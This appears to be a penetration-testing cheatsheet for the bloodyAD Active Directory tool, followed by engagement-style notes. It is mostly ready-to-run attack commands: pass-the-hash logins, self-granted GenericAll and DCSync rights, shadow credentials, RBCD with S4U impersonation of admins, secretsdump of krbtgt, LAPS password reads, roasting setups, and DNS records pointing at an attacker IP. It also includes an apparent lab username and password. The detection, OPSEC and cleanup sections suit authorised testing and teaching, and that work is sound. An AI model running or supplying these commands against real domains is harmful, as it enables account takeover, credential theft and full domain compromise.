Skip to content

BloodyAD Cheatsheet

Installation

Using uv

uv tool install bloodyAD

Using pipx

pipx install bloodyAD

Using pip

pip install bloodyAD

Authentication Methods

Password Authentication

bloodyAD --host $dc -d $domain -u $username -p $password [command]

Hash Authentication (Pass-the-Hash)

bloodyAD --host $dc -d $domain -u $username -p :$ntlm_hash [command]

Kerberos Authentication

bloodyAD --host $dc -d $domain -u $username -p $password -k [command]

Certificate Authentication

bloodyAD --host $dc -d $domain -c $cert.pfx -p $cert_password [command]

Enumeration Commands

Retrieve User Information

bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username

Get Specific Attributes

bloodyAD --host $dc -d $domain -u $username -p $password get object $target --attr memberOf,servicePrincipalName,userAccountControl

Get MachineQuota of a user

bloodyAD -d inlanefreight.local --host 10.129.229.224 -u aneudy -p Ilovemusic01 get search --filter '(objectClass=computer)' --attr ms-ds-creatorsid

Find Writable Attributes

bloodyAD --host $dc -d $domain -u $username -p $password get writable --detail

Search for Specific Objects

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=computer)"

List All Domain Users

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=user)"

List All Groups

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=group)"

Find Privileged Groups

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(&(objectClass=group)(adminCount=1))"

Get Domain Controllers

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))"

User and Group Management

Add User To Group

bloodyAD --host $dc -d $domain -u $username -p $password add groupMember $group_name $member_to_add

Remove User From Group

bloodyAD --host $dc -d $domain -u $username -p $password remove groupMember $group_name $member_to_remove

Change Password

bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password

Force Password Change at Next Logon

bloodyAD --host $dc -d $domain -u $username -p $password set object $target_username pwdLastSet -v 0

Set Password Never Expires

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f DONT_EXPIRE_PASSWD

ACL Manipulation

Give User GenericAll Rights

bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $target_DN $user_to_grant

Add GenericWrite Permission

bloodyAD --host $dc -d $domain -u $username -p $password add genericWrite $target_DN $user_to_grant

WriteOwner

bloodyAD --host $dc -d $domain -u $username -p $password set owner $target_object $new_owner

WriteDACL

bloodyAD --host $dc -d $domain -u $username -p $password add writeDacl $target_DN $user_to_grant

Add DCSync Rights

bloodyAD --host $dc -d $domain -u $username -p $password add dcsync $user_to_grant

GMSA (Group Managed Service Account)

ReadGMSAPassword

bloodyAD --host $dc -d $domain -u $username -p $password get object $gmsa_account --attr msDS-ManagedPassword

Decode GMSA Password

bloodyAD --host $dc -d $domain -u $username -p $password get object $gmsa_account --attr msDS-ManagedPassword --raw

UAC (User Account Control) Flags

Enable a Disabled Account

bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f ACCOUNTDISABLE

Disable an Account

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f ACCOUNTDISABLE

Add TRUSTED_TO_AUTH_FOR_DELEGATION Flag

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION

Remove TRUSTED_TO_AUTH_FOR_DELEGATION Flag

bloodyAD --host $dc -d $domain -u $username -p $password remove uac $target_username -f TRUSTED_TO_AUTH_FOR_DELEGATION

Set Account as Sensitive (Cannot be Delegated)

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_username -f NOT_DELEGATED

Kerberos Delegation

Add Resource Based Constrained Delegation (RBCD)

bloodyAD --host $dc -d $domain -u $username -p $password add rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'

Remove RBCD

bloodyAD --host $dc -d $domain -u $username -p $password remove rbcd 'DELEGATE_TO$' 'DELEGATE_FROM$'

Get RBCD Configuration

bloodyAD --host $dc -d $domain -u $username -p $password get rbcd 'TARGET$'

Set Constrained Delegation

bloodyAD --host $dc -d $domain -u $username -p $password set object $account msDS-AllowedToDelegateTo -v "HOST/target.domain.local"

SPN (Service Principal Name) Management

WriteSPN

bloodyAD --host $dc -d $domain -u $username -p $password set object $target servicePrincipalName -v 'HTTP/server.domain.local'

Add SPN

bloodyAD --host $dc -d $domain -u $username -p $password add servicePrincipalName $target 'MSSQLSvc/server.domain.local:1433'

Remove SPN

bloodyAD --host $dc -d $domain -u $username -p $password remove servicePrincipalName $target 'MSSQLSvc/server.domain.local:1433'

Shadow Credentials

Add Shadow Credentials

bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target

Clear Shadow Credentials

bloodyAD --host $dc -d $domain -u $username -p $password clear shadowCredentials $target

Add Shadow Credentials with Custom Certificate

bloodyAD --host $dc -d $domain -u $username -p $password add shadowCredentials $target --cert cert.pfx

Computer Account Management

Create New Computer Account

bloodyAD --host $dc -d $domain -u $username -p $password add computer $computer_name $computer_password

Delete Computer Account

bloodyAD --host $dc -d $domain -u $username -p $password remove computer $computer_name

MachineAccountQuota - Enumerate

bloodyAD --host $dc -d $domain -u $username -p $password get object 'DC=domain,DC=local' --attr ms-DS-MachineAccountQuota

MachineAccountQuota - Set Value

bloodyAD --host $dc -d $domain -u $username -p $password set object 'DC=domain,DC=local' ms-DS-MachineAccountQuota -v 10

Attribute Modification

Modify UPN (User Principal Name)

bloodyAD --host $dc -d $domain -u $username -p $password set object $target userPrincipalName -v $new_upn

Modify Mail Attribute

bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user mail -v [email protected]

Modify altSecurityIdentities (ESC14B)

bloodyAD --host $dc -d $domain -u $username -p $password set object $target_user altSecurityIdentities -v 'X509:<RFC822>[email protected]'

Modify Description

bloodyAD --host $dc -d $domain -u $username -p $password set object $target description -v "New description"

Modify Display Name

bloodyAD --host $dc -d $domain -u $username -p $password set object $target displayName -v "New Display Name"

Deleted Objects and Recovery

Find Deleted Objects

bloodyAD --host $dc -d $domain -u $username -p $password get writable --include-del

Search Tombstoned Objects

bloodyAD --host $dc -d $domain -u $username -p $password get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065

Restore Deleted Object

bloodyAD --host $dc -d $domain -u $username -p $password set restore $deleted_object_DN

Trust Management

Get Trust Information

bloodyAD --host $dc -d $domain -u $username -p $password get object "CN=domain.local,CN=System,DC=domain,DC=local" --attr trustDirection,trustType,trustAttributes

Enumerate Foreign Security Principals

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=foreignSecurityPrincipal)"

LAPS (Local Administrator Password Solution)

Read LAPS Password

bloodyAD --host $dc -d $domain -u $username -p $password get object $computer_name --attr ms-Mcs-AdmPwd

Read LAPS Expiration Time

bloodyAD --host $dc -d $domain -u $username -p $password get object $computer_name --attr ms-Mcs-AdmPwdExpirationTime

Certificate Services (ADCS)

Enumerate Certificate Templates

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=pKICertificateTemplate)"

Get Certificate Template Permissions

bloodyAD --host $dc -d $domain -u $username -p $password get object "CN=TemplateName,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local" --attr nTSecurityDescriptor

Advanced Search Operations

Extended Search with Controls

bloodyAD --host $dc -d $domain -u $username -p $password get search -h

Search with Custom LDAP Filter

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local))"

Search with Size Limit

bloodyAD --host $dc -d $domain -u $username -p $password get search --filter "(objectClass=*)" --size-limit 100

Useful Combinations and Scenarios

Kerberoasting Setup (Add SPN to User)

bloodyAD --host $dc -d $domain -u $username -p $password add servicePrincipalName $target_user "MSSQLSvc/fake.domain.local"

ASREPRoasting Setup (Disable Pre-Authentication)

bloodyAD --host $dc -d $domain -u $username -p $password add uac $target_user -f DONT_REQ_PREAUTH

Unconstrained Delegation Setup

bloodyAD --host $dc -d $domain -u $username -p $password add uac $computer_account -f TRUSTED_FOR_DELEGATION

DNS Admin Abuse

bloodyAD --host $dc -d $domain -u $username -p $password add groupMember "DnsAdmins" $username

Protocol Transition: Constrained Delegation

# Set the TRUSTED_TO_AUTH_FOR_DELEGATION flag
bloodyAD --host $dc -d $domain -u $username -p $password add uac $service_account -f TRUSTED_TO_AUTH_FOR_DELEGATION

# Set the services the account can delegate to (constrained delegation)
bloodyAD --host $dc -d $domain -u $username -p $password set object $service_account msDS-AllowedToDelegateTo -v "CIFS/target.domain.local"

Important Notes

  • Authentication Options:
  • Pass -k to use Kerberos authentication
  • Use -p :hash for pass-the-hash (NTLM hash only)
  • Specify hash format using -f, e.g., -f rc4 or -f aes256

  • Common Variables:

  • $dc = Domain Controller IP or hostname
  • $domain = Domain name (e.g., domain.local)
  • $username = Your username
  • $password = Your password
  • $target = Target object (user, computer, group)
  • $DN = Distinguished Name (e.g., CN=User,CN=Users,DC=domain,DC=local)

  • Output Formats:

  • Add --json for JSON output
  • Add --raw for raw attribute values
  • Add --detail for detailed information

  • Useful Flags:

  • --help - Show help for specific commands
  • --debug - Enable debug output
  • --no-pass - Don't ask for password (useful for Kerberos)
  • --dc-ip - Specify DC IP directly

  • Common UAC Flags:

  • ACCOUNTDISABLE - Account is disabled
  • DONT_EXPIRE_PASSWD - Password never expires
  • DONT_REQ_PREAUTH - Don't require Kerberos pre-authentication
  • TRUSTED_FOR_DELEGATION - Unconstrained delegation
  • TRUSTED_TO_AUTH_FOR_DELEGATION - Protocol transition
  • NOT_DELEGATED - Account is sensitive, cannot be delegated
  • PASSWORD_EXPIRED - Password has expired

  • LDAP Search Controls:

  • 1.2.840.113556.1.4.2064 - Show deleted objects
  • 1.2.840.113556.1.4.2065 - Show recycled objects
  • 1.2.840.113556.1.4.801 - Show deactivated link
  • 1.2.840.113556.1.4.417 - Show extended DN

BloodyAD โ€” ACL/Object Enumeration & DACL Abuse โ€” Cheatsheet

Purpose: From a Linux box, use bloodyAD to enumerate exactly what a given identity can write across each domain, triage the writable set by ACE class, and abuse each class (group self-add, WriteOwner, WriteDACL, GenericAll, password reset, shadow cred, RBCD, UAC, dcsync, DNS) โ€” without offline cracking.

Prereqs / context: Domain-joined Linux operator box; auth as a standard user (-u/-p), via pass-the-hash (-p ':<NT_HASH>'), or Kerberos ccache (-k + KRB5CCNAME). Pin --host to one specific DC every time โ€” get writable/DACL/owner writes and the subsequent S4U/RBCD must hit the same DC or replication lag bites you. Map each writable ACE to the DC primitive it actually confers before claiming impact (writable on a DC object โ‰  DC admin).

0. Auth โ€” two ways (always pin --host to one DC)

export KRB5CCNAME=<USER>.ccache                                                                                          # use a specific id's ccache for -k runs
kinit -k -t /etc/krb5.keytab '<ATTACKER_HOST>$@<REALM>'                                                                   # machine-account TGT from the box keytab
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable                                               # user+password
bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -p ':<NT_HASH>' --host <DC_FQDN> get writable --detail                             # pass-the-hash (machine acct); note the ':' prefix
bloodyAD -d <DOMAIN> --host <DC_FQDN> -k get writable --detail                                                            # Kerberos via KRB5CCNAME ccache

1. Recon โ€” what THIS identity can write

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --detail                                     # core triage: every obj + every writable attr for the current identity
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --otype COMPUTER --detail                    # filter to computer objects only (RBCD/KeyCred/UAC hunting)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --otype GROUP --detail                       # filter to groups (member/owner self-add hunting)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get writable --right WRITE --detail                       # restrict by right (WRITE vs CREATE_CHILD)

get writable --detail prints one block per object โ€” the attribute name followed by the granted right. These are the ACE-class signal strings you grep for:

distinguishedName: CN=<TARGET>,OU=...,DC=<DOMAIN>
msDS-AllowedToActOnBehalfOfOtherIdentity: WRITE     # then RBCD
msDS-KeyCredentialLink: WRITE                        # then shadow credential / PKINIT
unicodePwd: WRITE                                    # then password reset
ms-Mcs-AdmPwd: WRITE                                 # then LAPS read
userAccountControl: WRITE                            # then UAC flips
servicePrincipalName / sAMAccountName / scriptPath: WRITE
nTSecurityDescriptor / DACL: WRITE                   # then WriteDACL (add genericAll / dcsync)
OWNER: WRITE                                         # then WriteOwner (take ownership then full control)
member / owner: WRITE                                # then group self-add / group takeover

2. Read object attributes (triage before you touch anything)

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object '<TARGET>$' --attr msDS-SupportedEncryptionTypes,userAccountControl,pwdLastSet     # etype/UAC/pw-state (decides RC4-in-S4U, must-change, delegation)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object 'DC=<DOMAIN_DN>' --attr ms-DS-MachineAccountQuota                                  # can a std user add a computer? (gates RBCD)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object '<TARGET>$' --attr nTSecurityDescriptor --resolve-sd                               # read & resolve the DACL/owner (who really has what)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get search --base 'DC=<DOMAIN_DN>' --filter '(msDS-AllowedToActOnBehalfOfOtherIdentity=*)' --attr distinguishedName   # targeted LDAP: who already has an RBCD set
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get children --otype COMPUTER 'OU=<OU_PATH>'                                                   # enumerate an OU/container
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get membership '<USER>'                                                                        # confirm a self-add actually took

3. Triage the writable set by ACE class

Tabulate per identity exactly these columns (this is the matrix we built across all domains):

ACE / attr Primitive Abuse verb
member group self-add add groupMember
owner / OWNER take ownership โ†’ full control set owner then add genericAll
nTSecurityDescriptor/DACL WriteDACL add genericAll / add dcsync
unicodePwd password reset set password
msDS-KeyCredentialLink shadow cred โ†’ PKINIT (no crack) add shadowCredentials
ms-Mcs-AdmPwd LAPS local-admin read get object --attr ms-Mcs-AdmPwd
msDS-AllowedToActOnBehalfOfOtherIdentity RBCD add rbcd
userAccountControl UAC flips add uac / remove uac
dnsNode/dnsRecord ADIDNS write add dnsRecord

4. Abuse by ACE class

4a. member โ†’ group self-add (cleanest crack-free round-0 win)

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add groupMember '<GROUP_DN>' '<USER>'                      # add yourself to a group you can write member on
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get membership '<USER>'                                    # verify, then enumerate what membership confers
Then map the group to real access: GPP-pushed local-admin in \\<DOMAIN>\SYSVOL, POSIX memberUid for SSH on Linux hosts, or app RBAC โ€” only call it a finding once you've shown what it grants.

4b. OWNER / WriteOwner โ†’ take ownership โ†’ grant yourself full control

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set owner '<TARGET>' '<USER>'                             # become object owner (implicit WriteDACL)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add genericAll '<TARGET>' '<USER>'                        # owner then write a full-control ACE for yourself
# now the object is fully yours then set password / add shadowCredentials / add to group
This is the lever behind the engagement's mass OWNER: WRITE on hundreds of FUNCTION_GROUPS + SERVICE_ACCOUNTS โ€” one identity could take over each via this two-step.

4c. nTSecurityDescriptor (WriteDACL) โ†’ genericAll / dcsync

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add genericAll '<TARGET>' '<USER>'                        # WriteDACL on an object then write yourself a full-control ACE
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add dcsync '<USER>'                                       # ONLY works if you have WriteDACL on the DOMAIN HEAD (DS-Replication-Get-Changes[-All])
secretsdump.py -k -no-pass -just-dc-user '<DOMAIN>/krbtgt' '<DC_FQDN>'                                                    # then replicate (Kerberos ccache)

4d. GenericAll (you already hold full control)

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add shadowCredentials '<TARGET>$'                         # preferred on computers/users (no password change, reversible)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set password '<TARGET>$' '<USER_PW>'                      # only if you must (destructive โ€” see 4e)

4e. unicodePwd โ†’ password reset

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set password '<SVC>' '<USER_PW>'                          # reset a target's password (needs LDAPS/sealed channel โ€” see the notes below)
Destructive โ€” breaks the account's logon and is loud. Prefer shadow creds for stealth/reversibility. Record the original pwdLastSet/state before touching it.

bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -p ':<NT_HASH>' --host <DC_FQDN> add shadowCredentials '<TARGET>$'                 # write a KeyCredential, get back a cert/key
certipy-ad shadow auto -u '<FOOTHOLD>$@<DOMAIN>' -hashes ':<NT_HASH>' -account '<TARGET>$' -dc-ip <DC_IP>               # one-shot: write keycred then PKINIT then UnPAC then NT hash
# the NT hash is for pass-the-hash / over-PtH ONLY (no offline crack)
This was the proven chain: KeyCredLink WRITE on a computer โ†’ <TARGET>$ NT hash โ†’ pivot to the next object holding the same write โ†’ repeat. Bypasses Protected Users / delegation entirely.

4g. ms-Mcs-AdmPwd โ†’ LAPS local-admin read

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get object '<TARGET>$' --attr ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime   # read the cleartext LAPS local-admin password
Note: came back empty on the target we tested โ€” WRITE on the attr โ‰  a populated value (host not LAPS-managed / not yet rotated). Always read before assuming a win.

4h. msDS-AllowedToActOnBehalfOfOtherIdentity โ†’ RBCD

bloodyAD -d <DOMAIN> -u '<FOOTHOLD>$' -p ':<NT_HASH>' --host <DC_FQDN> add rbcd '<TARGET>$' '<FOOTHOLD>$'                # allow your machine acct to delegate to the target
getST.py -spn 'cifs/<TARGET_FQDN>' -impersonate <ADMIN> -k -no-pass '<DOMAIN>/<FOOTHOLD>$' -dc-ip <DC_IP>               # S4U2self+proxy then service ticket as <ADMIN>
# computerless / SPN-less variant if you can't add a computer (Forshaw U2U):
getST.py -u2u -impersonate <ADMIN> -spn 'cifs/<TARGET_FQDN>' -k -no-pass '<DOMAIN>/<USER>' -dc-ip <DC_IP>               # needs RC4 usable in the S4U path
Do not assume RBCD on a DC = DA. On the DC objects we held RBCD/UAC/sAMAccountName writes, but the only principals that confer DC-admin were Tier-0 in Protected Users / NOT_DELEGATED โ†’ S4U impersonation of them fails. That's an ACL-hygiene finding, not an exploit.

4i. userAccountControl โ†’ UAC flips

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove uac '<TARGET>$' -f ACCOUNTDISABLE                  # re-enable an account you took over
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add uac '<TARGET>$' -f TRUSTED_TO_AUTH_FOR_DELEGATION     # arm constrained delegation w/ protocol transition (if writable + you control an SPN)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set object '<TARGET>$' msDS-AllowedToDelegateTo -v 'cifs/<DC_FQDN>'   # set the constrained-delegation target list
add uac -f TRUSTED_FOR_DELEGATION (unconstrained) needs SeEnableDelegation on the DC and usually fails for non-admins โ€” don't bank on it just because the attr is writable.

4j. DNS โ€” dnsNode CREATE_CHILD / dnsRecord WRITE (ADIDNS)

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> get dnsDump                                               # enumerate zones/records you can see
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> add dnsRecord 'pwn-poc' '<ATTACKER_IP>' --zone '<ZONE>'   # PoC: ADD a benign A record (CREATE_CHILD)
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove dnsRecord 'pwn-poc' '<ATTACKER_IP>' --zone '<ZONE>' # clean it up immediately
CREATE_CHILD lets you add records (WPAD/ADIDNS poisoning potential), not edit existing apex records. Never touch live records on customer/external zones (<CUSTOMER_ZONE>) or forest zones โ€” DoS risk. PoC = create+delete one throwaway record only.

What Went Wrong

  • KRB_AP_ERR_MODIFIED on the SPN-less U2U RBCD path. Fires on every getST -u2u (even self-impersonation) when RC4 is hardened out of the S4U/service-ticket path on that DC โ€” etype mismatch. The NT-hash==TGT-session-key invariant is fine; the failure is in the S4U2self+U2U decryption. Confirm with get object โ€ฆ --attr msDS-SupportedEncryptionTypes on both account and DC; the clean proof is to re-run the identical flow against a less-hardened sibling domain (<CHILD>).
  • Fresh-TGT footgun in U2U. Computerless RBCD needs the TGT's session key to equal the account's NT hash. Re-running getTGT/Rubeus /rc4 mints a new session key and breaks it. Reuse the same ccache; if using Rubeus, import the exact kirbi with /ticket:.
  • RBCD write but BADOPTION on S4U. If you wrote the RBCD/DACL on one DC and run getST against another, the second DC hasn't replicated your write โ†’ KDC_ERR_BADOPTION. Pin --host/-dc-ip to the same DC for the write and the S4U.
  • WriteDACL โ‰  dcsync. We held 20+ nTSecurityDescriptor: WRITE ACEs, but they were on a group + DNS nodes โ€” none on the domain head โ€” so add dcsync had nowhere to grant. WriteDACL only yields DCSync when it's on the domain NC object.
  • Writable-on-a-DC โ‰  DC takeover. RBCD/UAC/sAMAccountName writable on ~16โ€“51 DC objects per domain, but Tier-0 is Protected/NOT_DELEGATED โ†’ not weaponizable. Report as hygiene, not exploit.
  • ms-Mcs-AdmPwd read returned empty โ€” writable attr, unpopulated value. Verify before claiming LAPS compromise.
  • set password needs a sealed channel. unicodePwd writes require LDAPS (636) or LDAP signing/sealing; bloodyAD errors unwilling to perform / CONSTRAINT_ATT_TYPE if the channel isn't encrypted or the new password fails policy.
  • PKINIT can fail downstream of the cert even when issuance works โ€” e.g. KDC_ERR_INCONSISTENT_KEY_PURPOSE on a Server-Auth-only template. Shadow-cred (your own KeyCredential) avoids template-EKU issues entirely; prefer it over cert-template paths when you only need an NT hash.
  • secretsdump โ€ฆ -just-dc-user โ†’ ept_s_not_registered means you aimed DCSync at a member server, not a DC. Point it at a real DC.
  • Impacket dev-build churn. -u2u/-self for SPN-less RBCD have regressed across dev builds (e.g. v0.14.0.dev0+โ€ฆ). If a flow fails only on the dev build, re-test the same ccache+hash under a pinned release (impacket==0.12.0).

Detection / OPSEC

  • get writable/get object are LDAP reads โ€” low signal, but a single bind enumerating thousands of objects' SDs is anomalous. Throttle and scope (--otype/get search with a tight filter) instead of dumping the whole NC.
  • Every write is logged: DACL/owner changes โ†’ Event 5136 (Directory Service Changes; audit must be on); msDS-KeyCredentialLink writes, member adds (4728/4732/4756), password resets (4724), and RBCD writes are all 5136. Shadow-cred and RBCD writes against DC objects are high-fidelity alerts.
  • set password is the loudest and most destructive โ€” avoid unless required; shadow creds are quieter and reversible.
  • Pin one DC; keep writes minimal and time-boxed; do DNS PoC as create+delete of a single throwaway record.

Cleanup (revert everything you changed)

bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove groupMember '<GROUP_DN>' '<USER>'                  # undo self-add
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove genericAll '<TARGET>' '<USER>'                     # remove the ACE you wrote
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> set owner '<TARGET>' '<ORIGINAL_OWNER>'                   # restore original owner
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove shadowCredentials '<TARGET>$'                      # delete the KeyCredential you added
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove rbcd '<TARGET>$' '<FOOTHOLD>$'                     # clear the RBCD write
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove dcsync '<USER>'                                    # revoke replication rights
bloodyAD -d <DOMAIN> -u <USER> -p '<USER_PW>' --host <DC_FQDN> remove dnsRecord 'pwn-poc' '<ATTACKER_IP>' --zone '<ZONE>'  # delete PoC DNS record
If you used set password, you cannot restore the original (it's a hash you don't have) โ€” flag it to the client to reset, and note any account left with pwdLastSet=0 (must-change). Restore any test identity whose password you replaced with a raw session-key hash (logon-broken otherwise).

References

  • bloodyAD โ€” repo + wiki (command reference): https://github.com/CravateRouge/bloodyAD ยท https://github.com/CravateRouge/bloodyAD/wiki
  • The Hacker Recipes โ€” DACL abuse: https://www.thehacker.recipes/ad/movement/dacl
  • The Hacker Recipes โ€” Shadow Credentials: https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
  • The Hacker Recipes โ€” RBCD (incl. SPN-less/U2U): https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd
  • James Forshaw โ€” Exploiting RBCD Using a Normal User Account (SPN-less U2U; "only works if RC4 is still enabled"): https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html
  • chkja โ€” KRB_AP_ERR_MODIFIED & RC4-hardening misconfiguration: https://www.chkja.dk/blog/wp/active-directory-the-kerberos-client-received-a-krb_ap_err_modified-error-rc4-hardening-misconfiguration/
  • Certipy (shadow auto, PKINIT, UnPAC-the-hash): https://github.com/ly4k/Certipy
  • Impacket PR #1202 โ€” -self/-u2u/-altservice added to getST: https://github.com/fortra/impacket/pull/1202